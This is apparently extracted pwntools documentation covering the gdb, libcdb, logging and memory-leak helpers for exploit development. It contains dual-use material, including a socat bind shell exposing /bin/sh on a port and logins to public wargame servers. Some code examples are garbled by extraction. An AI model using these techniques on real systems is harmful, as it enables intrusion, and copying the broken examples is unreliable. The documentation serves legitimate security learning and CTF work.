`pwnlib.fmtstr.sort_atoms(atoms, numbwritten)`

This function sorts atoms such that the amount by which the format string counter has to be increased between consecutive atoms is minimized.

The idea is to reduce the amount of data the the format string has to output to write the desired atoms. For example, directly generating a format string for the atoms `[AtomWrite(0, 1, 0xff), AtomWrite(1, 1, 0xfe)]` is suboptimal: we'd first need to output `0xff` bytes to get the counter to `0xff` and then output `0x100+1` bytes to get it to `0xfe` again. If we sort the writes first we only need to output `0xfe` bytes and then 1 byte to get to `0xff`.

Parameters

- **atoms** (*list*) – list of atoms to sort
- **numbwritten** (*int*) – the value at which the counter starts

Examples

```
>>> from pwnlib.fmtstr import *
>>> sort_atoms([AtomWrite(0, 1, 0xff), AtomWrite(1, 1, 0xfe)], 0) # the example_
↪described above
[AtomWrite(start=1, size=1, integer=0xfe, mask=0xff), AtomWrite(start=0, size=1,
↪integer=0xff, mask=0xff)]
>>> sort_atoms([AtomWrite(0, 1, 0xff), AtomWrite(1, 1, 0xfe)], 0xff) # if we_
↪start with 0xff it's different
[AtomWrite(start=0, size=1, integer=0xff, mask=0xff), AtomWrite(start=1, size=1,
↪integer=0xfe, mask=0xff)]
```

2.15 pwnlib.gdb — Working with GDB

During exploit development, it is frequently useful to debug the target binary under GDB.

Pwntools makes this easy-to-do with a handful of helper routines, designed to make your exploit-debug-update cycles much faster.

2.15.1 Useful Functions

- `attach()` - Attach to an existing process
- `debug()` - Start a new process under a debugger, stopped at the first instruction
- `debug_shellcode()` - Build a binary with the provided shellcode, and start it under a debugger

2.15.2 Debugging Tips

The `attach()` and `debug()` functions will likely be your bread and butter for debugging.

Both allow you to provide a script to pass to GDB when it is started, so that it can automatically set your breakpoints.

Attaching to Processes

To attach to an existing process, just use `attach()`. It is surprisingly versatile, and can attach to a `process` for simple binaries, or will automatically find the correct process to attach to for a forking server, if given a `remote` object.

Spawning New Processes

Attaching to processes with `attach()` is useful, but the state the process is in may vary. If you need to attach to a process very early, and debug it from the very first instruction (or even the start of `main`), you instead should use `debug()`.

When you use `debug()`, the return value is a `tube` object that you interact with exactly like normal.

2.15.3 Tips and Troubleshooting

NOPTTRACE magic argument

It's quite cumbersome to comment and un-comment lines containing `attach`.

You can cause these lines to be a no-op by running your script with the `NOPTTRACE` argument appended, or with `PWNLIB_NOPTTRACE=1` in the environment.

```
$ python exploit.py NOPTTRACE
[+] Starting local process '/bin/bash': Done
[!] Skipping debug attach since context.nopttrace==True
...
```

Kernel Yama ptrace_scope

The Linux kernel v3.4 introduced a security mechanism called `ptrace_scope`, which is intended to prevent processes from debugging eachother unless there is a direct parent-child relationship.

This causes some issues with the normal Pwntools workflow, since the process heirarchy looks like this:

```
python ---> target
      `--> gdb
```

Note that `python` is the parent of `target`, not `gdb`.

In order to avoid this being a problem, Pwntools uses the function `prctl(PR_SET_PTRACER, PR_SET_PTRACER_ANY)`. This disables Yama for any processes launched by Pwntools via `process` or via `ssh.process()`.

Older versions of Pwntools did not perform the `prctl` step, and required that the Yama security feature was disabled systemwide, which requires `root` access.

Member Documentation

`pwnlib.gdb.attach(target, gdbscript = None, exe = None, arch = None, ssh = None) → None`

Start GDB in a new terminal and attach to `target`.

Parameters

- **target** – The target to attach to.
- **gdbscript** (`str` or `file`) – GDB script to run after attaching.
- **exe** (`str`) – The path of the target binary.
- **arch** (`str`) – Architecture of the target binary. If `exe` known GDB will detect the architecture automatically (if it is supported).
- **gdb_args** (`list`) – List of additional arguments to pass to GDB.
- **sysroot** (`str`) – Foreign-architecture sysroot, used for QEMU-emulated binaries and Android targets.

Returns PID of the GDB process (or the window which it is running in).

Notes

The `target` argument is very robust, and can be any of the following:

int PID of a process

str Process name. The youngest process is selected.

tuple Host, port pair of a listening `gdbserver`

process Process to connect to

sock Connected socket. The executable on the other end of the connection is attached to. Can be any socket type, including `listen` or `remote`.

ssh_channel Remote process spawned via `ssh.process()`. This will use the GDB installed on the remote machine. If a password is required to connect, the `sshpass` program must be installed.

Examples

```
# Attach directly to pid 1234
gdb.attach(1234)
```

```
# Attach to the youngest "bash" process
gdb.attach('bash')
```

```
# Start a process
bash = process('bash')

# Attach the debugger
gdb.attach(bash, '''
set follow-fork-mode child
break execve
continue
''')

# Interact with the process
bash.sendline('whoami')
```

```
# Start a forking server
server = process(['socat', 'tcp-listen:1234,fork,reuseaddr', 'exec:/bin/sh'])

# Connect to the server
io = remote('localhost', 1234)

# Connect the debugger to the server-spawned process
gdb.attach(io, '''
break exit
continue
''')

# Talk to the spawned 'sh'
io.sendline('exit')
```

```
# Connect to the SSH server
shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0',
↳port=2220)

# Start a process on the server
cat = shell.process(['cat'])

# Attach a debugger to it
gdb.attach(cat, '''
break exit
continue
''')

# Cause `cat` to exit
cat.close()
```

`pwnlib.gdb.binary()` → `str`

Returns `str` – Path to the appropriate gdb binary to use.

Example

```
>>> gdb.binary() # doctest: +SKIP
'/usr/bin/gdb'
```

`pwnlib.gdb.corefile(process)`

Drops a core file for the process.

Parameters `process` – Process to dump

Returns `Core` – The generated core file

`pwnlib.gdb.debug(args) → tube`

Launch a GDB server with the specified command line, and launches GDB to attach to it.

Parameters

- **args** (*list*) – Arguments to the process, similar to *process*.
- **gdbscript** (*str*) – GDB script to run.
- **exe** (*str*) – Path to the executable on disk
- **env** (*dict*) – Environment to start the binary in
- **ssh** (*ssh*) – Remote ssh session to use to launch the process.
- **sysroot** (*str*) – Foreign-architecture sysroot, used for QEMU-emulated binaries and Android targets.

Returns *process* or *ssh_channel* – A tube connected to the target process

Notes

The debugger is attached automatically, and you can debug everything from the very beginning. This requires that both `gdb` and `gdbserver` are installed on your machine.

When GDB opens via *debug()*, it will initially be stopped on the very first instruction of the dynamic linker (`ld.so`) for dynamically-linked binaries.

Only the target binary and the linker will be loaded in memory, so you cannot set breakpoints on shared library routines like `malloc` since `libc.so` has not even been loaded yet.

There are several ways to handle this:

1. **Set a breakpoint on the executable's entry point (generally, `_start`)**
 - This is only invoked after all of the required shared libraries are loaded.
 - You can generally get the address via the GDB command `info file`.
2. **Use pending breakpoints via `set breakpoint pending on`**
 - This has the side-effect of setting breakpoints for **every** function which matches the name. For `malloc`, this will generally set a breakpoint in the executable's PLT, in the linker's internal `malloc`, and eventually in `libc`'s `malloc`.
3. **Wait for libraries to be loaded with `set stop-on-solib-event 1`**
 - There is no way to stop on any specific library being loaded, and sometimes multiple libraries are loaded and only a single breakpoint is issued.
 - Generally, you just add a few `continue` commands until things are set up the way you want it to be.

Examples

```
# Create a new process, and stop it at 'main'
io = gdb.debug('bash', '')
break main
continue
''')
```

(continues on next page)

(continued from previous page)

```
# Send a command to Bash
io.sendline("echo hello")
```

```
# Interact with the process
io.interactive()
```

```
# Create a new process, and stop it at 'main'
io = gdb.debug('bash', '')
# Wait until we hit the main executable's entry point
break _start
continue
```

```
# Now set breakpoint on shared library routines
break malloc
break free
continue
''')
```

```
# Send a command to Bash
io.sendline("echo hello")
```

```
# Interact with the process
io.interactive()
```

You can use `debug()` to spawn new processes on remote machines as well, by using the `ssh=` keyword to pass in your `ssh` instance.

```
# Connect to the SSH server
shell = ssh('passcode', 'pwnable.kr', 2222, password='guest')
```

```
# Start a process on the server
io = gdb.debug(['bash'],
               ssh=shell,
               gdbscript='')
break main
continue
''')
```

```
# Send a command to Bash
io.sendline("echo hello")
```

```
# Interact with the process
io.interactive()
```

`pwnlib.gdb.debug_assembly(asm, gdbscript=None, vma=None) → tube`
Creates an ELF file, and launches it under a debugger.

This is identical to `debug_shellcode`, except that any defined symbols are available in GDB, and it saves you the explicit call to `asm()`.

Parameters

- **asm** (*str*) – Assembly code to debug
- **gdbscript** (*str*) – Script to run in GDB
- **vma** (*int*) – Base address to load the shellcode at

- ****kwargs** – Override any `pwnlib.context.context` values.

Returns `process`

Example

```
assembly = shellcraft.echo("Hello world!\n")
io = gdb.debug_assembly(assembly)
io.recvline()
# 'Hello world!'
```

`pwnlib.gdb.debug_shellcode(*a, **kw)`

Creates an ELF file, and launches it under a debugger.

Parameters

- **data** (`str`) – Assembled shellcode bytes
- **gdbscript** (`str`) – Script to run in GDB
- **vm** (`int`) – Base address to load the shellcode at
- ****kwargs** – Override any `pwnlib.context.context` values.

Returns `process`

Example

```
assembly = shellcraft.echo("Hello world!\n")
shellcode = asm(assembly)
io = gdb.debug_shellcode(shellcode)
io.recvline()
# 'Hello world!'
```

`pwnlib.gdb.find_module_addresses(binary, ssh=None, ulimit=False)`

Cheat to find modules by using GDB.

We can't use `/proc/$pid/map` since some servers forbid it. This breaks `info proc` in GDB, but `info sharedlibrary` still works. Additionally, `info sharedlibrary` works on FreeBSD, which may not have `procfs` enabled or accessible.

The output looks like this:

```
info proc mapping
process 13961
warning: unable to open /proc file '/proc/13961/maps'

info sharedlibrary
From          To          Syms Read  Shared Object Library
0xf7fdc820    0xf7ff505f  Yes (*)    /lib/ld-linux.so.2
0xf7fbb650    0xf7fc79f8  Yes        /lib32/libpthread.so.0
0xf7e26f10    0xf7f5b51c  Yes (*)    /lib32/libc.so.6
(*): Shared library is missing debugging information.
```

Note that the raw addresses provided by `info sharedlibrary` are actually the address of the `.text` segment, not the image base address.

This routine automates the entire process of:

1. Downloading the binaries from the remote server
2. Scraping GDB for the information
3. Loading each library into an ELF
4. Fixing up the base address vs. the `.text` segment address

Parameters

- **binary** (*str*) – Path to the binary on the remote server
- **ssh** (*pwnlib.tubes.tube*) – SSH connection through which to load the libraries. If left as `None`, will use a *pwnlib.tubes.process.process*.
- **ulimit** (*bool*) – Set to `True` to run “`ulimit -s unlimited`” before GDB.

Returns A list of *pwnlib.elf.ELF* objects, with correct base addresses.

Example:

```
>>> with context.local(log_level=9999): # doctest: +SKIP
...     shell = ssh(host='bandit.labs.overthewire.org',user='bandit0',password=
↳ 'bandit0', port=2220)
...     bash_libs = gdb.find_module_addresses('/bin/bash', shell)
>>> os.path.basename(bash_libs[0].path) # doctest: +SKIP
'libc.so.6'
>>> hex(bash_libs[0].symbols['system']) # doctest: +SKIP
'0x7ffff7634660'
```

pwnlib.gdb.version (*program='gdb'*)

Gets the current GDB version.

Note: Requires that GDB version meets the following format:

GNU gdb (GDB) 7.12

Returns *tuple* – A tuple containing the version numbers

Example

```
>>> (7,0) <= gdb.version() <= (9,0)
True
```

2.16 pwnlib.libcddb — Libc Database

Fetch a LIBC binary based on some heuristics.

pwnlib.libcddb.get_build_id_offsets ()

Returns a list of file offsets where the Build ID should reside within an ELF file of the currently-elected architecture.

pwnlib.libcddb.search_by_build_id (*hex_encoded_id*)

Given a hex-encoded Build ID, attempt to download a matching libc from libcddb.

Parameters *hex_encoded_id* (*str*) – Hex-encoded Build ID (e.g. ‘ABCDEF...’) of the library

Returns Path to the downloaded library on disk, or `None`.

Examples

```
>>> filename = search_by_build_id('fe136e485814fee2268cf19e5c124ed0f73f4400')
>>> hex(ELF(filename).symbols.read)
'0xda260'
>>> None == search_by_build_id('XX')
True
```

`pwnlib.libcddb.search_by_sha1(hex_encoded_id)`

Given a hex-encoded sha1, attempt to download a matching libc from libcdb.

Parameters `hex_encoded_id(str)` – Hex-encoded Build ID (e.g. ‘ABCDEF...’) of the library

Returns Path to the downloaded library on disk, or `None`.

Examples

```
>>> filename = search_by_sha1('34471e355a5e71400b9d65e78d2cd6ce7fc49de5')
>>> hex(ELF(filename).symbols.read)
'0xda260'
>>> None == search_by_sha1('XX')
True
```

`pwnlib.libcddb.search_by_sha256(hex_encoded_id)`

Given a hex-encoded sha256, attempt to download a matching libc from libcdb.

Parameters `hex_encoded_id(str)` – Hex-encoded Build ID (e.g. ‘ABCDEF...’) of the library

Returns Path to the downloaded library on disk, or `None`.

Examples

```
>>> filename = search_by_sha256(
↳ '5e877a8272da934812d2d1f9ee94f73c77c790cbc5d8251f5322389fc9667f21')
>>> hex(ELF(filename).symbols.read)
'0xda260'
>>> None == search_by_sha256('XX')
True
```

`pwnlib.libcddb.search_by_md5(hex_encoded_id)`

Given a hex-encoded md5sum, attempt to download a matching libc from libcdb.

Parameters `hex_encoded_id(str)` – Hex-encoded Build ID (e.g. ‘ABCDEF...’) of the library

Returns Path to the downloaded library on disk, or `None`.

Examples

```
>>> filename = search_by_md5('7a71dafb87606f360043dcd638e411bd')
>>> hex(ELF(filename).symbols.read)
'0xda260'
>>> None == search_by_build_id('XX')
True
```

2.17 pwntools.log — Logging stuff

Logging module for printing status during an exploit, and internally within pwntools.

2.17.1 Exploit Developers

By using the standard `from pwn import *`, an object named `log` will be inserted into the global namespace. You can use this to print out status messages during exploitation.

For example,:

```
log.info('Hello, world!')
```

prints:

```
[*] Hello, world!
```

Additionally, there are some nifty mechanisms for performing status updates on a running job (e.g. when brute-forcing).:

```
p = log.progress('Working')
p.status('Reticulating splines')
time.sleep(1)
p.success('Got a shell!')
```

The verbosity of logging can be most easily controlled by setting `log_level` on the global context object.:

```
log.info("No you see me")
context.log_level = 'error'
log.info("Now you don't")
```

The purpose of this attribute is to control what gets printed to the screen, not what gets emitted. This means that you can put all logging events into a log file, while only wanting to see a small subset of them on your screen.

2.17.2 Pwnlib Developers

A module-specific logger can be imported into the module via:

```
from pwntools.log import getLogger
log = getLogger(__name__)
```

This provides an easy way to filter logging programmatically or via a configuration file for debugging.

When using `progress`, you should use the `with` keyword to manage scoping, to ensure the spinner stops if an exception is thrown.

2.17.3 Technical details

Familiarity with the `logging` module is assumed.

A pwnlib root logger named 'pwnlib' is created and a custom handler and formatter is installed for it. The handler determines its logging level from `context.log_level`.

Ideally `context.log_level` should only affect which records will be emitted by the handler such that e.g. logging to a file will not be changed by it. But for performance reasons it is not feasible log everything in the normal case. In

particular there are tight loops inside `pwnlib.tubes.tube`, which we would like to be able to debug, but if we are not debugging them, they should not spit out messages (even to a log file). For this reason there are a few places inside `pwnlib`, that will not even emit a record without `context.log_level` being set to `logging.DEBUG` or below.

Log records created by `Progress` and `Logger` objects will set `'pwnlib_msgtype'` on the `extra` field to signal which kind of message was generated. This information is used by the formatter to prepend a symbol to the message, e.g. `'[+] ' in '[+] got a shell!'`

This field is ignored when using the logging module's standard formatters.

All status updates (which are not dropped due to throttling) on progress loggers result in a log record being created. The `extra` field then carries a reference to the `Progress` logger as `'pwnlib_progress'`.

If the custom handler determines that `term.term_mode` is enabled, log records that have a `'pwnlib_progress'` in their `extra` field will not result in a message being emitted but rather an animated progress line (with a spinner!) being created. Note that other handlers will still see a meaningful log record.

The custom handler will only handle log records with a level of at least `context.log_level`. Thus if e.g. the level for the `'pwnlib.tubes.ssh'` is set to `'DEBUG'` no additional output will show up unless `context.log_level` is also set to `'DEBUG'`. Other handlers will however see the extra log records generated by the `'pwnlib.tubes.ssh'` logger.

`pwnlib.log.install_default_handler()`

Instantiates a `Handler` and `Formatter` and installs them for the `pwnlib` root logger. This function is automatically called from when importing `pwn`.

class `pwnlib.log.Progress` (*logger, msg, status, level, args, kwargs*)

Progress logger used to generate log records associated with some running job. Instances can be used as context managers which will automatically declare the running job a success upon exit or a failure upon a thrown exception. After `success()` or `failure()` is called the status can no longer be updated.

This class is intended for internal use. Progress loggers should be created using `Logger.progress()`.

status (*status, *args, **kwargs*)

Logs a status update for the running job.

If the progress logger is animated the status line will be updated in place.

Status updates are throttled at one update per 100ms.

success (*status = 'Done', *args, **kwargs*)

Logs that the running job succeeded. No further status updates are allowed.

If the Logger is animated, the animation is stopped.

failure (*message*)

Logs that the running job failed. No further status updates are allowed.

If the Logger is animated, the animation is stopped.

class `pwnlib.log.Logger` (*logger=None*)

A class akin to the `logging.LoggerAdapter` class. All public methods defined on `logging.Logger` instances are defined on this class.

Also adds some `pwnlib` flavor:

- `progress()` (alias `waitfor()`)
- `success()`
- `failure()`
- `indented()`
- `info_once()`

- `warning_once()` (alias `warn_once()`)

Adds pwnlib-specific information for coloring, indentation and progress logging via log records `extra` field.

Loggers instantiated with `getLogger()` will be of this class.

progress (*message*, *status* = "", **args*, *level* = `logging.INFO`, ***kwargs*) → `Progress`

Creates a new progress logger which creates log records with log level *level*.

Progress status can be updated using `Progress.status()` and stopped using `Progress.success()` or `Progress.failure()`.

If `term.term_mode` is enabled the progress logger will be animated.

The progress manager also functions as a context manager. Using context managers ensures that animations stop even if an exception is raised.

```
with log.progress('Trying something...') as p:
    for i in range(10):
        p.status("At %i" % i)
        time.sleep(0.5)
    x = 1/0
```

waitfor (**args*, ***kwargs*)

Alias for `progress()`.

indented (*message*, **args*, *level* = `logging.INFO`, ***kwargs*)

Log a message but don't put a line prefix on it.

Parameters *level* (*int*) – Alternate log level at which to set the indented message. Defaults to `logging.INFO`.

success (*message*, **args*, ***kwargs*)

Logs a success message.

failure (*message*, **args*, ***kwargs*)

Logs a failure message.

info_once (*message*, **args*, ***kwargs*)

Logs an info message. The same message is never printed again.

warning_once (*message*, **args*, ***kwargs*)

Logs a warning message. The same message is never printed again.

warn_once (**args*, ***kwargs*)

Alias for `warning_once()`.

debug (*message*, **args*, ***kwargs*)

Logs a debug message.

info (*message*, **args*, ***kwargs*)

Logs an info message.

warning (*message*, **args*, ***kwargs*)

Logs a warning message.

warn (**args*, ***kwargs*)

Alias for `warning()`.

error (*message*, **args*, ***kwargs*)

To be called outside an exception handler.

Logs an error message, then raises a `PwnlibException`.

exception (*message*, **args*, ***kwargs*)

To be called from an exception handler.

Logs a error message, then re-raises the current exception.

critical (*message*, **args*, ***kwargs*)

Logs a critical message.

log (*level*, *message*, **args*, ***kwargs*)

Logs a message with log level *level*. The pwnlib formatter will use the default `logging` formater to format this message.

isEnabledFor (*level*) → bool

See if the underlying logger is enabled for the specified level.

setLevel (*level*)

Set the logging level for the underlying logger.

addHandler (*handler*)

Add the specified handler to the underlying logger.

removeHandler (*handler*)

Remove the specified handler from the underlying logger.

class pwnlib.log.**Handler** (*stream=None*)

A custom handler class. This class will report whatever `context.log_level` is currently set to as its log level.

If `term.term_mode` is enabled log records originating from a progress logger will not be emitted but rather an animated progress line will be created.

An instance of this handler is added to the 'pwnlib' logger.

Initialize the handler.

If stream is not specified, `sys.stderr` is used.

emit (*record*)

Emit a log record or create/update an animated progress logger depending on whether `term.term_mode` is enabled.

class pwnlib.log.**Formatter** (*fmt=None*, *datefmt=None*)

Logging formatter which performs custom formatting for log records containing the 'pwnlib_msgtype' attribute. Other records are formatted using the `logging` modules default formatter.

If 'pwnlib_msgtype' is set, it performs the following actions:

- A prefix looked up in `_msgtype_prefixes` is prepended to the message.
- The message is prefixed such that it starts on column four.
- If the message spans multiple lines they are split, and all subsequent lines are indented.

This formatter is used by the handler installed on the 'pwnlib' logger.

Initialize the formatter with specified format strings.

Initialize the formatter either with the specified format string, or a default as described above. Allow for specialized date formatting with the optional `datefmt` argument (if omitted, you get the ISO8601 format).

format (*record*)

Format the specified record as text.

The record's attribute dictionary is used as the operand to a string formatting operation which yields the returned string. Before formatting the dictionary, a couple of preparatory steps are carried out. The message attribute of the record is computed using `LogRecord.getMessage()`. If the formatting string uses the time (as determined by a call to `usesTime()`, `formatTime()` is called to format the event time. If there is exception information, it is formatted using `formatException()` and appended to the message.

2.18 pwnlib.memleak — Helper class for leaking memory

class pwnlib.memleak.**MemLeak** (*f*, *search_range*=20, *reraise*=True, *relative*=False)

MemLeak is a caching and heuristic tool for exploiting memory leaks.

It can be used as a decorator, around functions of the form:

```
def some_leaker(addr): ... return data_as_string_or_None
```

It will cache leaked memory (which requires either non-randomized static data or a continuous session). If required, dynamic or known data can be set with the set-functions, but this is usually not required. If a byte cannot be recovered, it will try to leak nearby bytes in the hope that the byte is recovered as a side-effect.

Parameters

- **f** (*function*) – The leaker function.
- **search_range** (*int*) – How many bytes to search backwards in case an address does not work.
- **reraise** (*bool*) – Whether to reraise call `pwnlib.log.warning()` in case the leaker function throws an exception.

Example

```
>>> import pwnlib
>>> binsh = pwnlib.util.misc.read('/bin/sh')
>>> @pwnlib.memleak.MemLeak
... def leaker(addr):
...     print("leaking 0x%x" % addr)
...     return binsh[addr:addr+4]
>>> leaker.s(0)[:4]
leaking 0x0
leaking 0x4
b'\x7fELF'
>>> leaker[:4]
b'\x7fELF'
>>> hex(leaker.d(0))
'0x464c457f'
>>> hex(leaker.clearb(1))
'0x45'
>>> hex(leaker.d(0))
leaking 0x1
'0x464c457f'
>>> @pwnlib.memleak.MemLeak
... def leaker_nonulls(addr):
...     print("leaking 0x%x" % addr)
...     if addr & 0xff == 0:
...         return None
...     return binsh[addr:addr+4]
```

(continues on next page)

(continued from previous page)

```
>>> leaker_nonulls.d(0) == None
leaking 0x0
True
>>> leaker_nonulls[0x100:0x104] == binsh[0x100:0x104]
leaking 0x100
leaking 0xff
leaking 0x103
True
```

```
>>> memory = {-4+i: c.encode() for i,c in enumerate('wxyzABCDE')}
>>> def relative_leak(index):
...     return memory.get(index, None)
>>> leak = pwnlib.memleak.MemLeak(relative_leak, relative = True)
>>> leak[-1:2]
b'zAB'
```

static NoNewlines (*function*)

Wrapper for leak functions such that addresses which contain newline bytes are not leaked.

This is useful if the address which is used for the leak is provided by e.g. `fgets()`.

static NoNulls (*function*)

Wrapper for leak functions such that addresses which contain NULL bytes are not leaked.

This is useful if the address which is used for the leak is read in via a string-reading function like `scanf("%s")` or similar.

static NoWhitespace (*function*)

Wrapper for leak functions such that addresses which contain whitespace bytes are not leaked.

This is useful if the address which is used for the leak is read in via e.g. `scanf()`.

static String (*function*)

Wrapper for leak functions which leak strings, such that a NULL terminator is automatically added.

This is useful if the data leaked is printed out as a NULL-terminated string, via e.g. `printf()`.

b (*addr*, *ndx* = 0) → int

Leak byte at `((uint8_t*) addr)[ndx]`

Examples

```
>>> import string
>>> data = string.ascii_lowercase.encode()
>>> l = MemLeak(lambda a: data[a:a+2], reraise=False)
>>> l.b(0) == ord('a')
True
>>> l.b(25) == ord('z')
True
>>> l.b(26) is None
True
```

clearb (*addr*, *ndx* = 0) → int

Clears byte at `((uint8_t*) addr)[ndx]` from the cache and returns the removed value or *None* if the address was not completely set.

Examples

```
>>> l = MemLeak(lambda a: None)
>>> l.cache = {0: b'a'}
>>> l.n(0, 1) == b'a'
True
>>> l.clearb(0) == unpack(b'a', 8)
True
>>> l.cache
{}
>>> l.clearb(0) is None
True
```

clearb(*addr*, *ndx* = 0) → int

Clears dword at ((uint32_t*)*addr*) [*ndx*] from the cache and returns the removed value or *None* if the address was not completely set.

Examples

```
>>> l = MemLeak(lambda a: None)
>>> l.cache = {0: b'a', 1: b'b', 2: b'c', 3: b'd'}
>>> l.n(0, 4) == b'abcd'
True
>>> l.clearb(0) == unpack(b'abcd', 32)
True
>>> l.cache
{}
```

clearq(*addr*, *ndx* = 0) → int

Clears qword at ((uint64_t*)*addr*) [*ndx*] from the cache and returns the removed value or *None* if the address was not completely set.

Examples

```
>>> c = MemLeak(lambda addr: b'')
>>> c.cache = {x: b'x' for x in range(0x100, 0x108)}
>>> c.clearq(0x100) == unpack(b'xxxxxxxx', 64)
True
>>> c.cache == {}
True
```

clearw(*addr*, *ndx* = 0) → int

Clears word at ((uint16_t*)*addr*) [*ndx*] from the cache and returns the removed value or *None* if the address was not completely set.

Examples

```
>>> l = MemLeak(lambda a: None)
>>> l.cache = {0: b'a', 1: b'b'}
>>> l.n(0, 2) == b'ab'
True
>>> l.clearw(0) == unpack(b'ab', 16)
```

(continues on next page)

(continued from previous page)

```
True
>>> l.cache
{}
```

d(*addr*, *ndx* = 0) → int
Leak dword at ((uint32_t*) *addr*)[*ndx*]

Examples

```
>>> import string
>>> data = string.ascii_lowercase.encode()
>>> l = MemLeak(lambda a: data[a:a+8], reraise=False)
>>> l.d(0) == unpack(b'abcd', 32)
True
>>> l.d(22) == unpack(b'wxyz', 32)
True
>>> l.d(23) is None
True
```

field(*address*, *obj*)
field(*address*, *field*) => a structure field.
Leak a field from a structure.

Parameters

- **address** (*int*) – Base address to calculate offsets from
- **field** (*obj*) – Instance of a ctypes field

Return Value: The type of the return value will be dictated by the type of *field*.

field_compare(*address*, *obj*, *expected*)
field_compare(*address*, *field*, *expected*) ==> bool

Leak a field from a structure, with an expected value. As soon as any mismatch is found, stop leaking the structure.

Parameters

- **address** (*int*) – Base address to calculate offsets from
- **field** (*obj*) – Instance of a ctypes field
- **expected** (*int*, *str*) – Expected value

Return Value: The type of the return value will be dictated by the type of *field*.

n(*addr*, *ndx* = 0) → str
Leak *numb* bytes at *addr*.

Returns A string with the leaked bytes, will return *None* if any are missing

Examples

```

>>> import string
>>> data = string.ascii_lowercase.encode()
>>> l = MemLeak(lambda a: data[a:a+4], reraise=False)
>>> l.n(0,1) == b'a'
True
>>> l.n(0,26) == data
True
>>> len(l.n(0,26)) == 26
True
>>> l.n(0,27) is None
True

```

p (*addr*, *ndx* = 0) → int

Leak a pointer-width value at ((void**) *addr*) [*ndx*]

p16 (*addr*, *val*, *ndx*=0)

Sets word at ((uint16_t*) *addr*) [*ndx*] to *val* in the cache.

Examples

```

>>> l = MemLeak(lambda x: b'')
>>> l.cache == {}
True
>>> l.setw(33, 0x41)
>>> l.cache == {33: b'A', 34: b'\x00'}
True

```

p32 (*addr*, *val*, *ndx*=0)

Sets dword at ((uint32_t*) *addr*) [*ndx*] to *val* in the cache.

Examples

See `setw()`.

p64 (*addr*, *val*, *ndx*=0)

Sets qword at ((uint64_t*) *addr*) [*ndx*] to *val* in the cache.

Examples

See `setw()`.

p8 (*addr*, *val*, *ndx*=0)

Sets byte at ((uint8_t*) *addr*) [*ndx*] to *val* in the cache.

Examples

```

>>> l = MemLeak(lambda x: b'')
>>> l.cache == {}
True
>>> l.setb(33, 0x41)
>>> l.cache == {33: b'A'}
True

```

q(*addr*, *ndx* = 0) → int
 Leak qword at ((uint64_t*) *addr*)[*ndx*]

Examples

```
>>> import string
>>> data = string.ascii_lowercase.encode()
>>> l = MemLeak(lambda a: data[a:a+16], reraise=False)
>>> l.q(0) == unpack(b'abcdefgh', 64)
True
>>> l.q(18) == unpack(b'stuvwxyz', 64)
True
>>> l.q(19) is None
True
```

raw(*addr*, *numb*) → list
 Leak *numb* bytes at *addr*

s(*addr*) → str
 Leak bytes at *addr* until failure or a nullbyte is found

Returns A string, without a NULL terminator. The returned string will be empty if the first byte is a NULL terminator, or if the first byte could not be retrieved.

Examples

```
>>> data = b"Hello\x00World"
>>> l = MemLeak(lambda a: data[a:a+4], reraise=False)
>>> l.s(0) == b"Hello"
True
>>> l.s(5) == b""
True
>>> l.s(6) == b"World"
True
>>> l.s(999) == b""
True
```

setb(*addr*, *val*, *ndx*=0)
 Sets byte at ((uint8_t*) *addr*)[*ndx*] to *val* in the cache.

Examples

```
>>> l = MemLeak(lambda x: b'')
>>> l.cache == {}
True
>>> l.setb(33, 0x41)
>>> l.cache == {33: b'A'}
True
```

setd(*addr*, *val*, *ndx*=0)
 Sets dword at ((uint32_t*) *addr*)[*ndx*] to *val* in the cache.

Examples

See `setw()`.

setq (*addr*, *val*, *ndx=0*)

Sets qword at ((`uint64_t*`) *addr*) [*ndx*] to *val* in the cache.

Examples

See `setw()`.

sets (*addr*, *val*, *null_terminate=True*)

Set known string at *addr*, which will be optionally be null-terminated

Note that this method is a bit dumb about how it handles the data. It will null-terminate the data, but it will not stop at the first null.

Examples

```
>>> l = MemLeak(lambda x: b'')
>>> l.cache == {}
True
>>> l.sets(0, b'H\x00ello')
>>> l.cache == {0: b'H', 1: b'\x00', 2: b'e', 3: b'l', 4: b'l', 5: b'o', 6: b
↳ '\x00'}
True
```

setw (*addr*, *val*, *ndx=0*)

Sets word at ((`uint16_t*`) *addr*) [*ndx*] to *val* in the cache.

Examples

```
>>> l = MemLeak(lambda x: b'')
>>> l.cache == {}
True
>>> l.setw(33, 0x41)
>>> l.cache == {33: b'A', 34: b'\x00'}
True
```

struct (*address*, *struct*)

`struct(address, struct) =>` structure object Leak an entire structure. :param *address*: Address of structure in memory :type *address*: int :param *struct*: A ctypes structure to be instantiated with leaked data :type *struct*: class

Return Value: An instance of the provided struct class, with the leaked data decoded

Examples

```
>>> @pwnlib.memleak.MemLeak
... def leaker(addr):
...     return b"A"
>>> e = leaker.struct(0, pwnlib.elf.Elf32_Phdr)
>>> hex(e.p_paddr)
'0x41414141'
```

```
u16 (addr, ndx=0)
    w(addr, ndx = 0) -> int

    Leak word at ((uint16_t*) addr) [ndx]
```

Examples

```
>>> import string
>>> data = string.ascii_lowercase.encode()
>>> l = MemLeak(lambda a: data[a:a+4], reraise=False)
>>> l.w(0) == unpack(b'ab', 16)
True
>>> l.w(24) == unpack(b'yz', 16)
True
>>> l.w(25) is None
True
```

```
u32 (addr, ndx=0)
    d(addr, ndx = 0) -> int

    Leak dword at ((uint32_t*) addr) [ndx]
```

Examples

```
>>> import string
>>> data = string.ascii_lowercase.encode()
>>> l = MemLeak(lambda a: data[a:a+8], reraise=False)
>>> l.d(0) == unpack(b'abcd', 32)
True
>>> l.d(22) == unpack(b'wxyz', 32)
True
>>> l.d(23) is None
True
```

```
u64 (addr, ndx=0)
    q(addr, ndx = 0) -> int

    Leak qword at ((uint64_t*) addr) [ndx]
```

Examples

```
>>> import string
>>> data = string.ascii_lowercase.encode()
>>> l = MemLeak(lambda a: data[a:a+16], reraise=False)
>>> l.q(0) == unpack(b'abcdefgh', 64)
True
>>> l.q(18) == unpack(b'stuvwxyz', 64)
True
>>> l.q(19) is None
True
```

```
u8 (addr, ndx=0)
    b(addr, ndx = 0) -> int

    Leak byte at ((uint8_t*) addr) [ndx]
```

Examples

```
>>> import string
>>> data = string.ascii_lowercase.encode()
>>> l = MemLeak(lambda a: data[a:a+2], reraise=False)
>>> l.b(0) == ord('a')
True
>>> l.b(25) == ord('z')
True
>>> l.b(26) is None
True
```

w(*addr*, *ndx* = 0) → int
Leak word at ((uint16_t*) *addr*)[*ndx*]

Examples

```
>>> import string
